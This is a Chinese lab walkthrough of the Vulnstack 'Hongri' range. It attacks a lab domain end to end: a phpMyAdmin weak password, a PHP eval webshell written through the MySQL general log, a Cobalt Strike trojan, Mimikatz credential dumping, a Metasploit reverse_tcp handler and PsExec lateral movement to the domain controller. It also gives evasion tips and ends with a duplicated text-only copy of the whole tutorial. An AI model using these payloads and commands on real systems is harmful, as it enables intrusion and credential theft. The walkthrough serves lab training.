Vulnstack靶场实战(一)红日
字数 1501 2025-08-12 11:34:31

Vulnstack靶场实战(一)红日渗透测试教学文档

一、靶场环境概述

1.1 网络拓扑结构

  • Win7 (Web服务器):
    • 内网IP: 192.168.157.153
    • 外网IP: 192.168.52.143
  • Win2003 (域成员):
    • IP: 192.168.52.141
  • Win2008 (域控制器):
    • IP: 192.168.52.138

1.2 攻击路径

外网Web渗透 → 获取Webshell → 内网横向移动 → 域控获取

二、Web渗透阶段

2.1 信息收集

  1. 访问目标网站(192.168.52.143),发现是PHP探针页面
  2. 使用御剑等目录扫描工具扫描后台地址

2.2 后台登录

  1. 发现phpMyAdmin后台
  2. 使用弱口令(root/root)成功登录

2.3 Webshell获取

由于数据库配置为NULL无法直接写文件,采用修改日志路径方式写入Webshell:

-- 1. 检查日志功能状态
SHOW GLOBAL VARIABLES LIKE '%general%';

-- 2. 开启日志功能(若未开启)
SET GLOBAL general_log='ON';

-- 3. 修改日志路径到Web目录
SET GLOBAL general_log_file = 'C:/phpStudy1/WWW/3.php';

-- 4. 执行查询语句写入Webshell
SELECT '<?php @eval($_POST["cmd"]);?>';

验证Webshell是否成功写入并可用。

三、Cobalt Strike上线

3.1 CS服务端启动

在Kali Linux上启动CS服务端:

./teamserver.sh 192.168.145.131 123

(192.168.145.131为Kali IP,123为连接密码)

3.2 生成并执行Payload

  1. 在CS客户端生成artifact.exe木马文件
  2. 通过Webshell执行命令:
start artifact.exe
  1. 确认CS上线成功

四、内网信息收集

4.1 基础信息收集

  1. 设置Beacon的sleep时间为0(靶场环境)
  2. 执行命令收集网络信息:
shell ipconfig /all

(观察DNS信息确认域环境)

  1. 查看运行进程:
wmic process list brief

(判断是否存在杀毒软件)

4.2 域环境探测

  1. 使用CS的netview功能探测内网
  2. 运行Mimikatz获取凭据:
mimikatz

(在CS的Access模块中操作)

  1. 若权限不足,使用CS提权:
    • 在Access的Elevate模块选择监听器
    • 提权至SYSTEM权限
    • 查看Credentials获取哈希和明文密码

4.3 域信息收集

  1. 查看域内用户:
net user /domain
  1. 查看域管理员:
net group "domain controllers" /domain
  1. Ping域控主机获取IP地址

五、横向移动与域控获取

5.1 会话转移(CS到MSF)

  1. 在CS创建外部监听器:

    • 类型:TCP
    • 回连端口:8080
  2. 在MSF中设置监听:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [Kali IP]
set LPORT 8080
exploit
  1. 在CS的Spawn模块添加MSF监听器

5.2 使用Win7作为跳板

  1. 新建SMB协议监听器用于域内通信
  2. 在CS的Targets中查看已发现的域内主机

5.3 横向移动(Psexec)

  1. 选择目标机器右键
  2. Jump → Psexec
  3. 选择已获取的凭据
  4. 选择监听器为dc
  5. Session选择Win7
  6. 点击连接,等待目标上线

六、关键技术与注意事项

6.1 Webshell写入技术

  • 日志文件写入法适用于无法直接导出的环境
  • 需要Web目录有写入权限
  • 日志功能必须可被修改

6.2 Cobalt Strike使用要点

  • 合理设置Sleep时间(实战中不宜设为0)
  • 善用View → Credentials查看获取的凭据
  • 注意监听器类型选择(SMB适合内网)

6.3 横向移动技巧

  • 优先使用已获取的明文密码
  • 哈希传递(PTH)是域渗透的常用技术
  • 注意权限提升与维持

6.4 防御规避

  • 靶场环境中sleep设为0,实战中需模拟正常流量
  • 注意杀软检测,必要时使用免杀技术
  • 清理操作痕迹

七、扩展思考

  1. 若phpMyAdmin无法修改日志配置的替代方案
  2. 无明文密码时的哈希传递技术
  3. 域环境中的黄金票据和白银票据利用
  4. 多种横向移动方式的比较(如WMI、DCOM等)
  5. 持久化后门在域环境中的部署

本教程详细记录了从外网Web渗透到内网域控获取的完整流程,重点突出了关键技术和操作步骤,可作为红队实战的参考模板。

Vulnstack靶场实战(一)红日渗透测试教学文档 一、靶场环境概述 1.1 网络拓扑结构 Win7 (Web服务器) : 内网IP: 192.168.157.153 外网IP: 192.168.52.143 Win2003 (域成员) : IP: 192.168.52.141 Win2008 (域控制器) : IP: 192.168.52.138 1.2 攻击路径 外网Web渗透 → 获取Webshell → 内网横向移动 → 域控获取 二、Web渗透阶段 2.1 信息收集 访问目标网站(192.168.52.143),发现是PHP探针页面 使用御剑等目录扫描工具扫描后台地址 2.2 后台登录 发现phpMyAdmin后台 使用弱口令(root/root)成功登录 2.3 Webshell获取 由于数据库配置为NULL无法直接写文件,采用修改日志路径方式写入Webshell: 验证Webshell是否成功写入并可用。 三、Cobalt Strike上线 3.1 CS服务端启动 在Kali Linux上启动CS服务端: (192.168.145.131为Kali IP,123为连接密码) 3.2 生成并执行Payload 在CS客户端生成artifact.exe木马文件 通过Webshell执行命令: 确认CS上线成功 四、内网信息收集 4.1 基础信息收集 设置Beacon的sleep时间为0(靶场环境) 执行命令收集网络信息: (观察DNS信息确认域环境) 查看运行进程: (判断是否存在杀毒软件) 4.2 域环境探测 使用CS的netview功能探测内网 运行Mimikatz获取凭据: (在CS的Access模块中操作) 若权限不足,使用CS提权: 在Access的Elevate模块选择监听器 提权至SYSTEM权限 查看Credentials获取哈希和明文密码 4.3 域信息收集 查看域内用户: 查看域管理员: Ping域控主机获取IP地址 五、横向移动与域控获取 5.1 会话转移(CS到MSF) 在CS创建外部监听器: 类型:TCP 回连端口:8080 在MSF中设置监听: 在CS的Spawn模块添加MSF监听器 5.2 使用Win7作为跳板 新建SMB协议监听器用于域内通信 在CS的Targets中查看已发现的域内主机 5.3 横向移动(Psexec) 选择目标机器右键 Jump → Psexec 选择已获取的凭据 选择监听器为dc Session选择Win7 点击连接,等待目标上线 六、关键技术与注意事项 6.1 Webshell写入技术 日志文件写入法适用于无法直接导出的环境 需要Web目录有写入权限 日志功能必须可被修改 6.2 Cobalt Strike使用要点 合理设置Sleep时间(实战中不宜设为0) 善用View → Credentials查看获取的凭据 注意监听器类型选择(SMB适合内网) 6.3 横向移动技巧 优先使用已获取的明文密码 哈希传递(PTH)是域渗透的常用技术 注意权限提升与维持 6.4 防御规避 靶场环境中sleep设为0,实战中需模拟正常流量 注意杀软检测,必要时使用免杀技术 清理操作痕迹 七、扩展思考 若phpMyAdmin无法修改日志配置的替代方案 无明文密码时的哈希传递技术 域环境中的黄金票据和白银票据利用 多种横向移动方式的比较(如WMI、DCOM等) 持久化后门在域环境中的部署 本教程详细记录了从外网Web渗透到内网域控获取的完整流程,重点突出了关键技术和操作步骤,可作为红队实战的参考模板。